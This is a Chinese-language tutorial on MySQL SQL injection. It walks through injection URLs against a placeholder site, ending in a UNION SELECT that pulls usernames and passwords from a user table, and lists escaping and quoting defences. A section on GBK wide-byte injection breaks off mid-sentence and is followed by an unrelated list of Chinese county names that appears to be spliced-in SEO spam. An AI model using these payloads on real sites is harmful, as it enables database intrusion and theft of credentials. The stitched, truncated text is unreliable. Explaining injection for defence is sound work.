一、單字節SQL注入
MYSQL的SQL注入已經由來已久,以下是普遍采用的注入步驟:
1、在GET參數上加一個/*或者#(mysql專有的注釋),判斷數據庫是否是mysql,比如:
http://www.xxx.com.cn/article.php?id=1607 and 1=1/*
2、猜解某表的字段數,從order by 1一直更改到頁面出錯為止,就可以得到該表的字段數
注入URL:http://www.xxx.com.cn/article.php?id=1607 or 1=1 order by 10#
對應的SQL: select * from articles where id=1607 or 1=1 order by 10#3、使用該表和用戶表進行關聯查詢,在文章列表里就可以看到用戶名和密碼了。當也要猜解用戶表的表名和用戶名、密碼的字段名,比如上一步得到的字段數是5:
注入的URL:http://www.xxx.com.cn/article.php?id=1607 or 1=1 union select username,password,1,2,3 from user
對應的SQL: select * from articles where id=1607 or 1=1 union select username,password,1,2,3 from user
這樣就可以在界面上看到用戶名和密碼了。
解決方法:
過濾數據:這并不是羅唆。在合適的地方使用良好的數據過濾,可以減小多數安全隱患,甚至可以消除其中的一部分。
將數據用括號包含:如果你的數據庫允許(MySQL 允許),在 SQL 語句中,不論什么類型的數據都用單引號包含起來。
轉義數據:一些合法的數據可能在無意中破壞 SQL 語句本身的格式。使用 mysql_escape_string() 或者所使用數據庫提供的轉移函數。如果沒有提供這樣的函數,addslashes() 也是不錯的最后選擇。
二、寬字節注入
寬字節注入也是在最近的項目中發現的問題,大家都知道%df’ 被PHP轉義(開啟GPC、用addslashes函數,或者icov等),單引號被加上反斜杠/,變成了 %df/’,其中/的十六進制是 %5C ,那么現在 %df/’ = %df%5c%27,如果程序的默認字符集是GBK等寬字節字符集,則MYSQL用GBK的編碼時,會認為 %df%5c 是一個寬字符,也就是
主站蜘蛛池模板:
布尔津县|
宁津县|
宜良县|
邵阳市|
嘉禾县|
永兴县|
金秀|
徐州市|
遂昌县|
宁波市|
东城区|
阜新市|
七台河市|
冀州市|
保山市|
友谊县|
南郑县|
南丹县|
措美县|
怀柔区|
砚山县|
光山县|
沅陵县|
汉源县|
沂源县|
荥阳市|
儋州市|
崇阳县|
垫江县|
长宁县|
阿克陶县|
平凉市|
达尔|
上思县|
浠水县|
韶山市|
游戏|
阿荣旗|
巴彦淖尔市|
定兴县|
万全县|